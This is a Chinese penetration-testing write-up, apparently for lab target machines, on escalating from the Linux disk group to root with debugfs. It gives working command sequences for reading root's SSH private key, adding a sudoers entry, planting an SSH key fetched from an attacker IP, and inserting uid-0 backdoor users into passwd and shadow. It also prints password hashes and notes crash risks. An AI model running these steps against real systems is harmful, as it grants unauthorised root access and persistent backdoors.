目录

dist组用户提权

# 作者

共同创作者

111 (opens new window) MJ (opens new window) Aristore (opens new window) ll104567 (opens new window)

# Warning

测试发现,使用 debugfs 写入文件并重启后,可能出现的几种情况:

  • 正常运行
  • 文件系统变为只读,shell正常
  • 虚拟机崩溃,Virtualbox内存错误,再次重启,正常运行
  • 虚拟机系统崩溃

异常一:文件系统变为只读

异常二:虚拟机崩溃(修改passwd,shadow)

virtualbox报内存错误。再重启一次,可以使用篡改的 root 密码登录

正常运行:

文件系统变为只读的修复方案:

在已经拿到root权限的情况下,执行以下命令修复文件系统:

mount -o ro /
fsck -y /dev/sda1
1
2

这会恢复到上一个正确的时候,debugfs操作的文件会恢复之前的正确状态。

建议优先使用稳妥的读取私钥的方式提权,再尝试sudo或写入公钥的方式提权,这会立即生效,最后再考虑需要重启才能生效的提权操作(passwd,shadow...)。

本地靶机提权的话,打个快照随便玩了。

  • 读取私钥:最推荐
  • sudo 提权:立即生效,推荐
  • 写入公钥:立即生效,推荐
  • passwd 添加后门用户:需要重启,可能引起异常
  • shadow 添加后门用户:需要重启,可能引起异常
  • 其他可能的文件写入提权:优先考虑无需重启的提权方式

# 读取私钥

disk组最推荐的提权方式,读取 root 用户的 ssh 私钥文件,然后使用私钥登录,相对其他方法提权,这不会引起内核异常崩溃。

Dodo@ezai1:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  cat /root/.ssh/id_rsa
1
2
3

# sudo

Dodo@ezai1:~$ id
uid=1000(Dodo) gid=1000(Dodo) groups=1000(Dodo),6(disk)
Dodo@ezai1:~$ echo "Dodo ALL=(ALL) NOPASSWD: ALL" > /tmp/give_dodo_sudo
Dodo@ezai1:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  write /tmp/give_dodo_sudo /etc/sudoers.d/give_dodo_sudo
Allocated inode: 24
debugfs:  ln <24> /etc/sudoers.d/give_dodo_sudo
debugfs:  sif <24> i_mode 0100440
debugfs:  sif <24> i_uid 0
debugfs:  sif <24> i_gid 0
debugfs:  q
Dodo@ezai1:~$ sudo -l
Matching Defaults entries for Dodo on ezai1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User Dodo may run the following commands on ezai1:
    (ALL) NOPASSWD: ALL
Dodo@ezai1:~$ sudo su -
root@ezai1:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ezai1:~# 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

# 写入公钥

下载远程公钥并写入root用户的authorized_keys文件,对公钥进行权限和属主修改。

Dodo@ezai1:~$ busybox wget http://192.168.56.100/pentest.pub -O authorized_keys
Dodo@ezai1:~$ cp authorized_keys /tmp/root_pub
Dodo@ezai1:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  write /tmp/root_pub /root/.ssh/authorized_keys
Allocated inode: 23
debugfs:  ln <23> /root/.ssh/authorized_keys
debugfs:  sif <23> i_mode 0100440
debugfs:  sif <23> i_uid 0
debugfs:  sif <23> i_gid 0
debugfs:  q
1
2
3
4
5
6
7
8
9
10
11

攻击机

# passwd 添加后门用户

debugfs写入passwd文件,添加一个uid为0的用户。已存在的文件不能直接覆盖,先删除再写入,然后修改文件权限和属主。

Dodo@ezai1:~$ cp /etc/passwd passwd
Dodo@ezai1:~$ cp /etc/passwd passwd.bak
Dodo@ezai1:~$ openssl passwd -1 -salt abc password
$1$abc$BXBqpb9BZcZhXLgbee.0s/
Dodo@ezai1:~$ echo 'test:$1$abc$BXBqpb9BZcZhXLgbee.0s/:0:0:,,,:/root:/bin/bash' >> passwd
Dodo@ezai1:~$ cp passwd /tmp/passwd_tmp
Dodo@ezai1:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  write /tmp/passwd_tmp /etc/passwd
write: Ext2 file already exists 
debugfs:  rm /etc/passwd
debugfs:  write /tmp/passwd_tmp /etc/passwd
Allocated inode: 21
debugfs:  ln <21> /etc/passwd
debugfs:  sif <21> i_mode 0100644
debugfs:  sif <21> i_uid 0
debugfs:  sif <21> i_gid 0
debugfs:  q
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

重启后,ssh登录 test 用户

# shadow 添加后门用户

debugfs 读取 shadow 文件

Dodo@ezai1:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  cat /etc/shadow
root:$6$kRbauhnw3OEtnKk6$yXsjenRj0EuRJjuuMGlE07KQDOBKuI6E4aJm/UCld4DaqNjDtfKXVGaykJkiOE9PNohFgUk0WTn.4KcfCac3C.:20399:0:99999:7:::
省略内容。。。。
Dodo:$6$Viz4XTwZSwA00ngE$6WGPp6SfhFU/j/oosIBG/rYDBvX9QhpFPa8VWo3Q5fkWCJPmJUCsAL12WEkkUuQJ4ZwesrLJvymNAFTpeFqa00:20399:0:99999:7:::
debugfs:
1
2
3
4
5
6
7

在家目录 下创建 shadow 文件,篡改 root 用户密码哈希,完事重启。

Dodo@ezai1:~$ mkpasswd -m sha-512 password
$6$HmwaHrlwkvqL88gL$IKaAS2Rfz7IfkOzDnMJ2EzPm5wAFt6KQMmKterFKi6.7btziAkk3qXgFFVO1g624RhziuEATuzDAmsjA5gskX1
Dodo@ezai1:~$ vim shadow
Dodo@ezai1:~$ cp shadow /tmp/shadow_tmp
Dodo@ezai1:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  write /tmp/shadow_tmp /etc/shadow
write: Ext2 file already exists 
debugfs:  rm /etc/shadow
debugfs:  write /tmp/shadow_tmp /etc/shadow
Allocated inode: 21
debugfs:  ln <21> /etc/shadow
debugfs:  sif <21> i_mode 0100640
debugfs:  sif <21> i_uid 0
debugfs:  sif <21> i_gid 0
debugfs:  q
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

在不重启的情况下,尝试使用 su 切换 root 用户,发现密码未被篡改成功

重启后,出现严重问题,虚拟机崩溃,virtualbox 崩溃

再次重启, 发现 root 密码已被篡改成功,使用 password 登录成功

文件系统没有进入只读状态

# 其他

passwd、shadow都可以成功提权,其他可能的文件写入提权方式应该也没问题,优先考虑无需重启的提权方式。

最后一次更新于: 2025/11/10, 02:46:08